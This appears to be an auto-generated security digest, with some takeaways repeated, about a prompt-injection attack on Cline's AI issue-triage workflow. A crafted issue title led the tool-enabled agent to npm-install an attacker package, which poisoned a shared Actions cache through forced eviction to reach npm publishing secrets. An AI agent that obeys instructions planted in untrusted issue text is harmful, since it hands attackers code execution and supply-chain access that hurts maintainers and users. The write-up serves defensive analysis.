Least Privilege Secrets Help But Cache Cross Contamination Can Bypass Trust Boundaries

Issue 65 Edition 2026-03-06 7 min read

General

Sources: 1 • Confidence: High • Updated: 2026-03-08 21:23

Key takeaways

GitHub Actions caches can share the same name across different workflows, and Cline used the same cache key for node_modules in both the issue triage and nightly release workflows.
Cline ran an AI-powered issue triage workflow that invoked anthropics/claude-code-action@v1 with Bash, Read, and Write tools whenever any user opened an issue.
Because the triage prompt included the issue title, a crafted issue title could coerce the agent into executing arbitrary commands.
A malicious issue title could instruct the agent to run an npm install of a GitHub-hosted package as part of the triage process, introducing attacker-controlled code into the workflow.
A successful prompt injection against the issue triage workflow could poison the shared cache such that the nightly release workflow loads it, enabling theft of the release workflow's npm publishing secrets.

GitHub Actions caches can share the same name across different workflows, and Cline used the same cache key for node_modules in both the issue triage and nightly release workflows.
A successful prompt injection against the issue triage workflow could poison the shared cache such that the nightly release workflow loads it, enabling theft of the release workflow's npm publishing secrets.
The issue triage workflow did not have access to key secrets such as those used to publish releases to npm.
GitHub evicts Actions caches that grow beyond 10GB, and the cacheract package exploited this by growing cached paths to about 11GB to force eviction and then caching new files containing a secret-stealing mechanism.

Cline ran an AI-powered issue triage workflow that invoked anthropics/claude-code-action@v1 with Bash, Read, and Write tools whenever any user opened an issue.
Because the triage prompt included the issue title, a crafted issue title could coerce the agent into executing arbitrary commands.
A malicious issue title could instruct the agent to run an npm install of a GitHub-hosted package as part of the triage process, introducing attacker-controlled code into the workflow.

Because the triage prompt included the issue title, a crafted issue title could coerce the agent into executing arbitrary commands.
The attack chain against the Cline GitHub repository began with a prompt injection embedded in the title of a newly opened issue.

A malicious issue title could instruct the agent to run an npm install of a GitHub-hosted package as part of the triage process, introducing attacker-controlled code into the workflow.
An installed npm package can execute arbitrary code via a preinstall script defined in its package.json.

A successful prompt injection against the issue triage workflow could poison the shared cache such that the nightly release workflow loads it, enabling theft of the release workflow's npm publishing secrets.
The published compromised package reportedly only added OpenClaw installation and did not take more destructive actions.

What was the exact GitHub Actions workflow configuration (event triggers, permissions, runner type, and tool allowlists) for the issue triage workflow at the time of the incident?
Did the attacker actually execute arbitrary shell commands and perform the npm install step in production logs, or is the npm-install vector described as a plausible mechanism?
Were npm publishing secrets actually exfiltrated from the nightly release workflow, and if so, through what exact cache-restoration path or file substitution?
What specific cache keys, scopes, and restore/save conditions were used, and were caches segregated by branch, workflow, actor, or event type?
Is the described 10GB cache eviction behavior and the '11GB junk then replace with malicious files' technique accurate for GitHub Actions caches in this context, and was it observed in this incident?

GitHub Actions cache key reuse across workflows can become a cross trust boundary escalation path, creating demand for stronger cache isolation and governance in CI security tooling and developer platforms.
Tool enabled LLM agents in CI triggered by untrusted issue metadata expand the CI attack surface, increasing focus on agent guardrails, restricted tool allowlists, and safer automation patterns.
Npm install lifecycle scripts remain a practical CI remote code execution hook when workflows can be coerced into installing attacker controlled packages, raising attention on supply chain controls and install hardening.

Vendor and platform guidance or product changes emphasizing cache segmentation by workflow and trigger, including stricter defaults for cache write permissions and restore scopes.
Documented incidents or postmortems showing prompt injection through issue titles or bodies causing tool enabled agents to execute shell commands in CI, with concrete mitigations adopted.
Adoption signals for defenses such as disabling lifecycle scripts in CI, restricting allowed registries and sources, or enforcing dependency allowlists in workflows that run on untrusted triggers.

Clear evidence that GitHub Actions caches cannot be shared or poisoned across the relevant trust boundaries under typical configurations, making cross contamination infeasible in practice.
Evidence that the described npm install vector and cache eviction technique do not work in GitHub Actions as stated, or are reliably blocked by standard runner settings.
Broad adoption of CI patterns that prevent tool capable agents from running on untrusted issue events, eliminating the described natural language to command execution bridge.